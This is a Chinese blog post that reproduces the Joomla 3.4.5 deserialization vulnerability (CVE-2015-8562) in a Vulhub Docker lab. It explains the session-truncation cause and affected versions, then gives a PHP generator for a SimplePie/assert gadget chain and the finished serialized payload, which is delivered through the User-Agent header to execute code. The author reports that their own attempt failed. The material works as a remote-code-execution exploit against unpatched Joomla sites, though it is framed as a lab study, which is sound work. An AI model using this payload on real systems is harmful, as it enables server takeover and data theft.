您的位置:首页 > 其它

利用Vulnhub复现漏洞 - Joomla 3.4.5 反序列化漏洞(CVE-2015-8562)

2019-07-11 18:01 901 查看

Joomla 3.4.5 反序列化漏洞(CVE-2015-8562)

  • 复现过程
  • POC
  • Vulnhub官方复现教程

    https://vulhub.org/#/environments/joomla/CVE-2015-8562/

    漏洞原理

    本漏洞根源是PHP5.6.13前的版本在读取存储好的session时,如果反序列化出错则会跳过当前一段数据而去反序列化下一段数据。而Joomla将session存储在Mysql数据库中,编码是utf8,当我们插入4字节的utf8数据时则会导致截断。截断后的数据在反序列化时就会失败,最后触发反序列化漏洞。

    通过Joomla中的Gadget,可造成任意代码执行的结果。

    详情可参考:

    影响版本

    • Joomla 1.5.x, 2.x, and 3.x before 3.4.6
    • PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29 and PHP 5.4 < 5.4.45

    复现过程

    启动环境

    https://blog.csdn.net/JiangBuLiu/article/details/93853056
    进入路径为

    cd /root/vulhub/joomla/CVE-2015-8562

    搭建及运行漏洞环境:

    docker-compose build && docker-compose up -d

    用时:3分钟
    环境启动后,访问

    http://your-ip:8080
    即可看到Joomla的安装界面,当前环境的数据库信息为:

    • 数据库地址:mysql:3306
    • 用户:root
    • 密码:root
    • 数据库名:joomla

    填入上述信息,正常安装即可。

    记得删除

    安装目录

    漏洞复现

    去掉User-Agent头,先访问一次目标主页,记下服务端返回的Cookie:

    GET / HTTP/1.1
    Host: your-ip:8080
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    Connection: close
    Upgrade-Insecure-Requests: 1


    再用如下脚本生成POC:(在线运行

    <?php
    class JSimplepieFactory {
    }
    class JDatabaseDriverMysql {
    
    }
    class SimplePie {
    var $sanitize;
    var $cache;
    var $cache_name_function;
    var $javascript;
    var $feed_url;
    function __construct()
    {
    $this->feed_url = "phpinfo();JFactory::getConfig();exit;";
    $this->javascript = 9999;
    $this->cache_name_function = "assert";
    $this->sanitize = new JDatabaseDriverMysql();
    $this->cache = true;
    }
    }
    
    class JDatabaseDriverMysqli {
    protected $a;
    protected $disconnectHandlers;
    protected $connection;
    function __construct()
    {
    $this->a = new JSimplepieFactory();
    $x = new SimplePie();
    $this->connection = 1;
    $this->disconnectHandlers = [
    [$x, "init"],
    ];
    }
    }
    
    $a = new JDatabaseDriverMysqli();
    $poc = serialize($a);
    $poc = str_replace("\x00*\x00", '\\0\\0\\0', $poc);
    echo "123}__test|{$poc}\xF0\x9D\x8C\x86";


    将生成好的POC作为User-Agent,带上第一步获取的Cookie发包,这一次发包,脏数据进入Mysql数据库。

    成功情况

    然后同样的包再发一次,代码被执行:

    并未成功

    可能是cookie的问题?cookie从要复制到

    ,但是也没用
    POC应该是没问题?会不会是复制的时候,因为编码的问题就不能用了?
    或者是PHP版本问题?我
    php -v
    的版本不是
    PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29 and PHP 5.4 < 5.4.45

    POC

    123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}𝌆
    内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
    标签: